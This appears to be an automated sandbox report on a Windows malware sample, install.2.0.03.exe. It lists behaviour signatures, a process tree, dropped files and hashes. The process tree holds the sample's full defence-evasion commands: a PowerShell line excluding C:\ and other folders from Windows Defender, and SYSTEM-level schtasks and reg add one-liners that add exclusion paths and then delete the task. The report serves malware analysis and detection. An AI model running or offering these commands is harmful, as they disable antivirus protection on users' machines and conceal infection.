Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 09:46

General

  • Target
    install.2.0.03.exe
  • Size 38.9MB
  • Sample261023-lr2xeac17r
  • SHA256 abbf9e617b21805719df0ba1b2e5cbf2bfee0706c65a7e42bc518fbb83c0a300
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:2360
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:3836
    • C:\Users\Public\dDG8Uy\LD8dik.exe
      "C:\Users\Public\dDG8Uy\LD8dik.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      PID:5544
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:1744
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\dDG8Uy\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        PID:1712
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\dDG8Uy\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2972
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4172
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5864
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            PID:908
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3408
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:2256
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:4672
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                PID:940
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:4372
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:2624
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:5756
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    PID:4264
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:3428
                • C:\Users\Public\dDG8Uy\LD8dik.exe
                  "C:\Users\Public\dDG8Uy\LD8dik.exe"
                  1⤵
                    PID:3448
                  • C:\Windows\system32\cmd.exe
                    "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\dDG8Uy" /t REG_DWORD /d 0 /f
                    1⤵
                    • Executes a command shell one-liner
                    PID:2284
                  • C:\Windows\system32\cmd.exe
                    cmd.exe
                    1⤵
                      PID:1772
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      PID:4708

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                          • Size 1KB
                          • SHA256 e5fc748f458bd2c1a2887408b19210d35470e1372cdf5d5a31a23ef8a268aa9f
                          • MD5 SHA1 SHA512 TLSH

                          B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                          • Size 1KB
                          • SHA256 1d8df58ed098172c6be60f6888f2470ab36724066bbd63cc9fc0e572bedbb082
                          • MD5 SHA1 SHA512 TLSH

                          0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                          • Size 512B
                          • SHA256 167612023183f08c4c4ba6235f4df27c91b0d652ae9fed627d8ce2a7121f69ea
                          • MD5 SHA1 SHA512 TLSH

                          B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                          • Size 506B
                          • SHA256 c5e250e5d83948130c5b499041bff597e53ce3aaf99f8cf6b87ad2e390de5d75
                          • MD5 SHA1 SHA512 TLSH

                          LD8dik.exe

                          • Path C:\Users\Public\dDG8Uy\LD8dik.exe
                          • Size 135KB
                          • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          UxEnhance64.dll

                          • Path C:\Users\Public\dDG8Uy\UxEnhance64.dll
                          • Size 3.1MB
                          • SHA256 38408652240505f49175821def7df2ca1bf47b88562bff0204db8f00c1a28d6b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          adoresd.dat

                          • Path C:\Users\Public\dDG8Uy\adoresd.dat
                          • Size 4.8MB
                          • SHA256 05c39edae5a16b441be834a0acf097bcd8ffc6422887c2ab360654e8d0b4f2e1
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          msadox.tb

                          • Path C:\Users\Public\dDG8Uy\msadox.tb
                          • Size 8KB
                          • SHA256 d3919901e1bf61368812f2440426249788699b34b1b8472336eeaee12f541186
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/1744-601-0x0000022BCAD70000-0x0000022BCAD92000-memory.dmp

                          memory/2360-526-0x00007FFA50850000-0x00007FFA50862000-memory.dmp

                          memory/2360-0-0x0000000000480000-0x000000000048E000-memory.dmp

                          memory/2360-525-0x0000000000480000-0x000000000048E000-memory.dmp

                          memory/2360-503-0x00007FFA50850000-0x00007FFA50862000-memory.dmp

                          memory/2360-1-0x00000000004D0000-0x00000000004DC000-memory.dmp

                          memory/3448-581-0x0000028D81410000-0x0000028D81CE7000-memory.dmp

                          memory/3448-589-0x00007FFA5BE10000-0x00007FFA5BE12000-memory.dmp

                          memory/3448-587-0x0000028D81410000-0x0000028D81CE7000-memory.dmp

                          memory/3448-588-0x0000028D81410000-0x0000028D81CE7000-memory.dmp

                          memory/3448-585-0x0000028D81410000-0x0000028D81CE7000-memory.dmp

                          memory/3448-586-0x0000028D81410000-0x0000028D81CE7000-memory.dmp

                          memory/3448-580-0x00007FFA5BE20000-0x00007FFA5BE22000-memory.dmp

                          memory/3448-578-0x0000028D81410000-0x0000028D81CE7000-memory.dmp

                          memory/3448-574-0x00007FFA3B080000-0x00007FFA3B59E000-memory.dmp

                          memory/5544-564-0x000001E6DEA40000-0x000001E6DEACA000-memory.dmp

                          memory/5544-546-0x000001E6DDE20000-0x000001E6DE6F7000-memory.dmp

                          memory/5544-566-0x000001E6DDE20000-0x000001E6DE6F7000-memory.dmp

                          memory/5544-568-0x000001E6DDE20000-0x000001E6DE6F7000-memory.dmp

                          memory/5544-561-0x000001E6DEA40000-0x000001E6DEACA000-memory.dmp

                          memory/5544-562-0x000001E6DEA40000-0x000001E6DEACA000-memory.dmp

                          memory/5544-563-0x000001E6DEA40000-0x000001E6DEACA000-memory.dmp

                          memory/5544-545-0x000001E6DDE20000-0x000001E6DE6F7000-memory.dmp

                          memory/5544-558-0x000001E6DDE20000-0x000001E6DE6F7000-memory.dmp

                          memory/5544-560-0x000001E6DD330000-0x000001E6DD37E000-memory.dmp

                          memory/5544-552-0x000001E6DDE20000-0x000001E6DE6F7000-memory.dmp

                          memory/5544-547-0x000001E6DDE20000-0x000001E6DE6F7000-memory.dmp

                          memory/5544-548-0x000001E6DDE20000-0x000001E6DE6F7000-memory.dmp

                          memory/5544-541-0x000001E6DDE20000-0x000001E6DE6F7000-memory.dmp

                          memory/5544-540-0x00007FFA5BE20000-0x00007FFA5BE22000-memory.dmp

                          memory/5544-538-0x000001E6DDE20000-0x000001E6DE6F7000-memory.dmp

                          memory/5544-533-0x00007FFA3B080000-0x00007FFA3B59E000-memory.dmp

                          memory/5544-532-0x00007FFA5BE10000-0x00007FFA5BE12000-memory.dmp